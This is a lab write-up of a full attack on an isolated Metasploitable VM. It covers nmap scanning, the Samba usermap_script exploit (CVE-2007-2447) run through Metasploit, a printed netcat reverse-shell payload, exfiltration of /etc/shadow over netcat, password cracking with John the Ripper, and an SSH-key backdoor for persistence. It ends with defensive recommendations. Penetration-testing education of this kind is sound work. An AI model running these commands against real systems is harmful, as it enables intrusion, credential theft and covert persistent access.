Exploitation of vulnerabilities in Metasploitable

Complete cycle of a real attack on a controlled and isolated environment: lab preparation, reconnaissance with nmap, attack surface prioritization, mapping to CVE, exploitation with Metasploit, post-exploitation, credential extraction and cracking, and persistence via SSH key injection.

1. Environment Preparation

• Attacker: Kali Linux — msfconsole, nmap, John the Ripper.
• Target: Metasploitable 1 — Ubuntu 8.04 (2010), unpatched, with multiple known CVEs.
• Network: host-only, both VMs isolated from any real network (192.168.64.0/24). Victim IP: 192.168.64.3.

2. Reconnaissance with Nmap

Version scanning to identify exactly what is exposed — vulnerabilities affect specific versions, not abstract services:

nmap -sV 192.168.64.3

12 open ports, all with outdated and exploitable versions.

3. Attack Surface Prioritization

Instead of attacking the first open port, I classified the services by risk type before choosing a target:

• Remote access (22, 23): Telnet exposes credentials in plain text; OpenSSH 4.7p1 is a very old version.
• Web application layer (80, 8180): Apache 2.2.8 far behind the stable version; Tomcat with weak credentials and potential RCE.
• Exposed databases (3306): MySQL 5.0.51a, old version with direct data access.
• Shared files / internal network (139, 445): Samba, historically one of the most exploited services, with known CVE and public exploit.

Selected target: Samba 3.0.20-Debian — combines a version with a documented critical vulnerability, exploit available in Metasploit, and code execution without prior authentication: the highest impact with the greatest reliability.

4. Vulnerability Mapping

Exact version confirmation with Nmap Scripting Engine (NSE):

nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)

Samba 3.0.20 is vulnerable to CVE-2007-2447: the username map script parameter does not validate input, and an attacker can inject shell commands directly into the username field. Since the mapping occurs before login, no valid username or password is needed.

5. Exploitation with Metasploit

msfconsole

Search for the corresponding module:

msf > search type:exploit samba

Configuration and execution:

msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened

Immediate privilege verification — the vulnerability gives direct root access, without need for privilege escalation:

whoami   → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

6. Post-exploitation: how it actually happened

Inspecting the processes on the victim, you can see the injected payload itself executing:

ps aux | grep samba
root  4931  sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"

The sent username contained the command itself (/=`...`): Samba passed it unsanitized to a shell, which created a pipe with mkfifo, opened a connection back to Kali with netcat, and connected /bin/sh to that pipe — complete remote code execution, line by line.

Internal service enumeration with netstat -tulnp: MySQL appeared listening on 0.0.0.0:3306 — exposed to any machine on the network, not just localhost.

7. Credential Extraction and Cracking

Instead of trying to crack on the victim itself (consumes CPU, generates noise, leaves traces), I extracted the hashes and transferred them to Kali for offline cracking:

cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

Transfer via netcat and preparation for John the Ripper:

# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444

unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt

John runs three automatic phases (single mode with user info, dictionary, and incremental brute force). Result: 6 out of 7 passwords cracked, including reusable credentials for SSH, MySQL, and FTP.

8. Lateral Movement and Persistence

With the cracked credentials, direct SSH access as a legitimate user:

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

To avoid relying on a password that could rotate, I generated my own key pair and added it to the victim's authorized_keys — a backdoor that survives password changes and does not generate brute force alerts:

ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys   # ejecutado en la víctima, ya comprometida

Subsequent access, without password:

ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Findings

• Twelve open ports, all with outdated versions — the attack surface was not a single flaw but the accumulation of years of services without updates.
• A remote code execution vulnerability exploitable without any authentication, the worst possible scenario for an exposed service.
• Weak and reused credentials across services (SSH, MySQL, FTP) — compromising a single point gave access to several.
• Complete lack of network segmentation and basic hardening (databases exposed to 0.0.0.0, legacy protocols like Telnet active).

Security Recommendations

Eliminate insecure protocols like Telnet, update critical services and the kernel itself, restrict direct database exposure, apply network segmentation, and above all — given how easy it was to crack the passwords — enforce robust credential policies that are not reused across services. The same type of detection that would prevent this attack in production (monitoring anomalous outbound connections, alerts on nc/reverse shells) is what I work on the defensive side in my Home SOC Lab.

Conclusions

The prioritization before attacking —understanding which service provides the most impact with the greatest reliability, instead of testing ports at random— is what directly led to Samba. The post-exploitation phase, seeing the injected command itself executing in ps aux, best illustrates why an input validation vulnerability turns into full system control. And SSH key persistence makes it clear that, once inside, an attacker's goal is not just "to have access" but to have it silently and durably — all the more reason for defense in depth not to rely on a single barrier.